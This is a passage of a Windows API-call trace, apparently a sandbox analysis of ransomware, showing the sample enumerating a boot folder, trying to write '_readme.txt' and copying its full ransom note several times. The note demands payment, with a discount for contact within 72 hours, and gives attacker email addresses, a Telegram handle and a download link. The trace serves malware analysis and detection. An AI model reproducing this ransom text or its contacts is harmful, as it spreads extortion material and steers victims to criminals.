(pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0119.728] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.728] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.728] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.728] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.728] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.728] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.729] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.729] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.729] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.729] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.729] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.729] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.730] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.731] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.731] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.732] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.732] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.733] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.733] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.734] HeapFree (in: hHeap=0x5e0000, 